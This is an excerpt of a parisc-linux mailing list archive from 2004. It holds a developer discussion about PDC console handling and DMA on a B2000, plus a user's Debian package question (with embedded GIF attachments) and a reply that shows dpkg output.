	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jan 2004 12:45:33 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 29A8929809C; Fri, 23 Jan 2004 12:45:32 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 32540-08; Fri, 23 Jan 2004 12:45:31 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 76DD629809B; Fri, 23 Jan 2004 12:45:31 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <400D3BEE0000294D@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Jan 2004 19:45:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20681

On Fri, Jan 23, 2004 at 07:54:44PM +0100, Joel Soete wrote:
> >AFAIK, the memcpy just enables the PDC to use a serial console.
> 
> Hmm we didn't 'relocate' PDC (as see hpux makes), so all those information
> are fill in by PDC prgm itself? So if Console is flagged CL_DUP, I don't
> see why do we have to make this memcpy?

I don't pretend to understand how PDC uses page zero.
Any takers on explaining what the memcopy does?

> >Anyway, Figuring out some additional info could help:
> >   (a) know which devices migh have DMA enabled when the OS gets control
> 
> May be the console itself (by continuously reading the kdb eg)?


> 
> >   (b) disable just the DMA
> where should I look to disable so console dma?

In the B2k's case the USB keyboard is the console input device
and USB does DMA. Right?
That means the console can not be active when we reprogram
the IOMMU.

If the console is the serial port, then we should be able to disable
just the USB device and not impact the Serial ports.

grant


From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peralta, Joseph A" <jperalta@WPI.EDU>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] menu not available
Date: Fri, 23 Jan 2004 16:47:11 -0500
Lines: 229
Approved: news@gmane.org
Message-ID: <9FD9A988D765C742A42FE2176979579650D310@postoffice.academic.wpi.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related;
	boundary="----_=_NextPart_001_01C3E1FA.74DDBC72";
	type="multipart/alternative"
X-Trace: ger.gmane.org 1416623144 4796 80.91.229.3 (22 Nov 2014 02:25:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: jperalta@WPI.EDU  Fri Jan 23 14:47:12 2004
Return-Path: <jperalta@WPI.EDU>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1.WPI.EDU (mail1.WPI.EDU [130.215.36.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38E634840
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jan 2004 14:47:12 -0700 (MST)
Original-Received: from mcafee.wpi.edu (mcafee.WPI.EDU [130.215.36.86])
	by mail1.WPI.EDU (8.12.11/8.12.11) with SMTP id i0NLlB0o007453
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jan 2004 16:47:11 -0500
Original-Received: from smtp.WPI.EDU(130.215.36.186) by mcafee.wpi.edu via csmap 
	id 27412; Fri, 23 Jan 2004 16:49:00 -0500 (EST)
Original-Received: from postoffice.academic.wpi.edu (postoffice.academic.WPI.EDU
	[130.215.34.66])
	by smtp.WPI.EDU (8.12.11/8.12.11) with ESMTP id i0NLl94n008569
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jan 2004 16:47:09 -0500
Content-class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
Thread-Topic: menu not available
Thread-Index: AcPh+mSBlMkhaCGXS/i72WWCeEyDKQ==
X-PMX-Version: 4.1.1.86173
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Jan 2004 21:47:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20682

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3E1FA.74DDBC72
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_002_01C3E1FA.74DDBC72"


------_=_NextPart_002_01C3E1FA.74DDBC72
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

When I try to install certain X-window managers under Debian 3.0 I get
"xxx depends on menu (>> 1.5)... menu is not available" How would I fix
this?

=20


------_=_NextPart_002_01C3E1FA.74DDBC72
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html>

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DGenerator content=3D"Microsoft Word 10 (filtered)">

<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Verdana;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0in;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{color:black;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;}
div.Section1
	{page:Section1;}
-->
</style>

<style>
p.MsoNormal
	{margin-left:15.0pt;}
</style>
</head>

<body bgcolor=3Dwhite background=3D"cid:image001.gif@01C3E1D0.7B8D4990" =
lang=3DEN-US
link=3Dblue vlink=3Dpurple style=3D'margin-left:15.0pt'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DVerdana><span
style=3D'font-size:10.0pt;font-family:Verdana;color:black'>When I try to =
install
certain X-window managers under Debian 3.0 I get &#8220;xxx depends on =
menu
(&gt;&gt; 1.5)&#8230; menu is not available&#8221; How would I fix =
this?</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DVerdana><span
style=3D'font-size:10.0pt;font-family:Verdana;color:black'><img =
width=3D600
height=3D10 id=3DridImg src=3D"cid:image002.gif@01C3E1D0.7B8D4990" =
align=3Dbottom></span></font></p>

</div>

<span id=3D"_AthCaret"></span>
</body>

</html>
=00
------_=_NextPart_002_01C3E1FA.74DDBC72--

------_=_NextPart_001_01C3E1FA.74DDBC72
Content-Type: image/gif;
	name="image001.gif"
Content-Transfer-Encoding: base64
Content-ID: <image001.gif@01C3E1D0.7B8D4990>
Content-Description: image001.gif
Content-Location: image001.gif

R0lGODlhngBfAPf/AN3d3f//4///x///rP//kP//dP/j///j4//jx//jrP/jkP/jdP/H///H4//H
x//HrP/HkP/HdP+s//+s4/+sx/+srP+skP+sdP+Q//+Q4/+Qx/+QrP+QkP+QdP90//904/90x/90
rP90kP90dOP//+P/4+P/x+P/rOP/kOP/dOPj/+Pj4+Pjx+PjrOPjkOPjdOPH/+PH4+PHx+PHrOPH
kOPHdOOs/+Os4+Osx+OsrOOskOOsdOOQ/+OQ4+OQx+OQrOOQkOOQdON0/+N04+N0x+N0rON0kON0
dMf//8f/48f/x8f/rMf/kMf/dMfj/8fj48fjx8fjrMfjkMfjdMfH/8fH48fHx8fHrMfHkMfHdMes
/8es48esx8esrMeskMesdMeQ/8eQ48eQx8eQrMeQkMeQdMd0/8d048d0x8d0rMd0kMd0dKz//6z/
46z/x6z/rKz/kKz/dKzj/6zj46zjx6zjrKzjkKzjdKzH/6zH46zHx6zHrKzHkKzHdKys/6ys46ys
x6ysrKyskKysdKyQ/6yQ46yQx6yQrKyQkKyQdKx0/6x046x0x6x0rKx0kKx0dJD//5D/45D/x5D/
rJD/kJD/dJDj/5Dj45Djx5DjrJDjkJDjdJDH/5DH45DHx5DHrJDHkJDHdJCs/5Cs45Csx5CsrJCs
kJCsdJCQ/5CQ45CQx5CQrJCQkJCQdJB0/5B045B0x5B0rJB0kJB0dHT//3T/43T/x3T/rHT/kHT/
dHTj/3Tj43Tjx3TjrHTjkHTjdHTH/3TH43THx3THrHTHkHTHdHSs/3Ss43Ssx3SsrHSskHSsdHSQ
/3SQ43SQx3SQrHSQkHSQdHR0/3R043R0x3R0rHR0kHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0
dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0
dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dCwAAAAAngBfAEAI/wD1WNEz
Z6CeJwIJGkQocI6ehgkLQoQ4UKIVhxWtDHyyMGJHigofIqzoUeTDiyUPnsQYEmVGkw0/ugypEqTE
mi5RMrTCECZHgjF7qryoM+FIhz9PtpyDFOjGk5d4PnS4MiZQjC6pqrR4VaSnJ18fHvR0c+bKLkit
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
Ur1wFZkUazsGERAAOw==

------_=_NextPart_001_01C3E1FA.74DDBC72
Content-Type: image/gif;
	name="image002.gif"
Content-Transfer-Encoding: base64
Content-ID: <image002.gif@01C3E1D0.7B8D4990>
Content-Description: image002.gif
Content-Location: image002.gif

R0lGODlhWAIKAMT/AP//Zv/Mmcz/mcz/ZszMZpn/mZnMmZnMZpnMM5mZZpmZM2bMmWbMZmaZZmaZ
M2ZmMzOZZjOZMzNmZjNmMwCZZgCZMwBmmQBmZgBmMwAzAABEAAAiAMDAwAAAAAAAAAAAACH5BAEA
ABwALAAAAABYAgoAQAX/ICeOZGmeaKqubOu+cCzPdG3feK7vfO//wKBwSCwaj8ikcslsOp9QXGZK
1WQ0WGr1mtVgJg2DeNGIYKxarRfDbrvfbGw2ndlsphMCAICYzO12GRgXFxRndIiJaRoTDAICBQxm
aIqVam0UmZoXcJ1vc5aVa3GhoXKnqKMTEw8ODQmwsQ0QEoOEFBa5FoSEcKmUW3J0VsJeYGIGZJOK
o56dp4iBGXl7fX+AgreHpaaNj5HL3KKYmpmczp6g4otuwOtqv6htq62vsbCztby4urzn7ammBCRW
BZq8CRAaLFgIwdA7eehA3WGkYAABB3HQAMI2SBOpd1UwRDhg4ACEbSDH/3Ush86ZOnFY2qWEF6+m
l2arJpyByKZQplz+er0RiOqKUaLFTn1JuHBBQwwPlUakNHFCxYsZp2wMtNIQSpBeRpY86W4mu66Z
WqYrWypmG7brbNo84ybnTqk9NQENCmcYF4LwMFSAsCCZ0wotefn6ZRaPAgAX0diCurGxIpEHHgkw
QBZuolE+ywlVu9hywbeN5bwJnSlhggMEYuObteqt3NtliXVZ5GVwYYaI0Sn+xLixVcgOJPeqg800
HcyaOe+M24a1uX+kATrngtqsajfWXcOWnaABbZ0ZcduMwr69+/fw48ufT7++CaTFjv7tohShQoYO
xYXXWlRUdRVG0zFXWf9XH6UUFkkmfbXdGtZlR5yDzXjGjXqp0DVPbR1Wp9cufA21326UFHUQUwBC
JeB3LlF1hVUWIXjNgqE1CBZmY0noHIXleGVhVmBlaBmH8uAEIk9d7eXPYgbppqJqEoQxRhl38Qfe
k2u9FAo1ACjgh4LZcKKBNNtN48g3DOiUWl5BUoCdhRrCJNORIX74SmwB9OknAQeYB8GcACEZ5Yn8
xVQlMspkqduWwz0jzDpgimkFR72ceUeaamoWiZvewRkkoaTVueGdqeXJxip7EuDnn4HOQmp6uPmV
X2C+GQZBcM5EaltAxj0W2RSTKbgpp4KMFF1n1Im6yaxqeTmTWz6+uFpPkOLFRsBsENRGq6HQLPKX
fkQJRpiuvHri67eTmnXcsGVS1hyy0D0inbTMiDgqtC3hW2R301LrLAXZkieot46Ci4V9DDfs8MMQ
RyzxxDiEAAA7

------_=_NextPart_001_01C3E1FA.74DDBC72--



From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] menu not available
Date: Fri, 23 Jan 2004 15:11:49 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20040123221149.GA1310@colo.lackof.org>
References: <9FD9A988D765C742A42FE2176979579650D310@postoffice.academic.wpi.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623145 4799 80.91.229.3 (22 Nov 2014 02:25:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Peralta, Joseph A" <jperalta@WPI.EDU>
Original-X-From: grundler@lackof.org  Fri Jan 23 15:11:51 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AFCD4840
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jan 2004 15:11:51 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 93ED629809F; Fri, 23 Jan 2004 15:11:50 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 01564-10; Fri, 23 Jan 2004 15:11:50 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 01E3D29809C; Fri, 23 Jan 2004 15:11:49 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <9FD9A988D765C742A42FE2176979579650D310@postoffice.academic.wpi.edu>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Jan 2004 22:11:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20683

On Fri, Jan 23, 2004 at 04:47:11PM -0500, Peralta, Joseph A wrote:
> When I try to install certain X-window managers under Debian 3.0 I get
> "xxx depends on menu (>> 1.5)... menu is not available" How would I fix
> this?

Dunno...menu is available for "sarge" (aka testing) and that
works for me. Sounds like someone wants to backport to Woody.

grundler <559>dpkg -l menu
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  menu           2.1.9-4        Provides update-menus functions for some app

grant


From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2k and CONFIG_PDC_CONSOLE pb: followup
Date: Sat, 24 Jan 2004 11:12:02 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <40125302.5050600@tiscali.be>
References: <20040122053112.GB6468@colo.lackof.org>
	<400D3BEE0000294D@ocpmta1.freegates.net>
	<20040123194531.GA30221@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623145 4805 80.91.229.3 (22 Nov 2014 02:25:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:45 +0000 (UTC)
To: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Sat Jan 24 04:09:59 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id A95F948AE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Jan 2004 04:09:59 -0700 (MST)
Original-Received: from [62.235.122.91] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
